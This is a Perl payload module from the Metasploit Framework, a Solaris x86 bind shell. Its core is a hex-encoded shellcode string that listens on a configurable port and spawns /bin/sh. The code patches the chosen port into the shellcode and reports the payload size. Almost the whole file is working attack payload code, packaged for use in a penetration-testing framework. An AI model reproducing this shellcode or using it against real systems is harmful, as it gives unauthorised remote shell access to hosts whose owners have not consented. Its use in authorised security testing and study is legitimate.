##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Payload::solaris_ia32_bind;
use strict;
use base 'Msf::PayloadComponent::BindConnection';
my $info =
{
'Name' => 'Solaris IA32 Bind Shell',
'Version' => '$Revision: 1616 $',
'Description' => 'Listen for connection and spawn a shell',
'Authors' => [ 'bighawk [Unknown License]', ],
'Arch' => [ 'x86' ],
'Priv' => 0,
'OS' => [ 'solaris' ],
'Size' => '',
};
sub new {
my $class = shift;
my $hash = @_ ? shift : { };
$hash = $class->MergeHashRec($hash, {'Info' => $info});
my $self = $class->SUPER::new($hash, @_);
$self->_Info->{'Size'} = $self->_GenSize;
return($self);
}
sub Build {
my $self = shift;
return($self->Generate($self->GetVar('LPORT')));
}
sub Generate {
my $self = shift;
my $port = shift;
my $off_port = 33;
my $port_bin = pack('n', $port);
my $shellcode = # solaris bind by bighawk
"\xb8\xff\xf8\xff\x3c\xf7\xd0\x50\x31\xc0\xb0\x9a\x50\x89\xe5\x31".
"\xc9\x51\x41\x41\x51\x51\xb0\xe6\xff\xd5\x31\xd2\x89\xc7\x52\x66".
"\x68\x27\x10\x66\x51\x89\xe6\x6a\x10\x56\x57\xb0\xe8\xff\xd5\xb0".
"\xe9\xff\xd5\x50\x50\x57\xb0\xea\xff\xd5\x31\xd2\xb2\x09\x51\x52".
"\x50\xb0\x3e\xff\xd5\x49\x79\xf2\x50\x68\x2f\x2f\x73\x68\x68\x2f".
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b\xff\xd5";
substr($shellcode, $off_port, 2, $port_bin);
return($shellcode);
}
sub _GenSize {
my $self = shift;
my $bin = $self->Generate('4444');
return(length($bin));
}
1;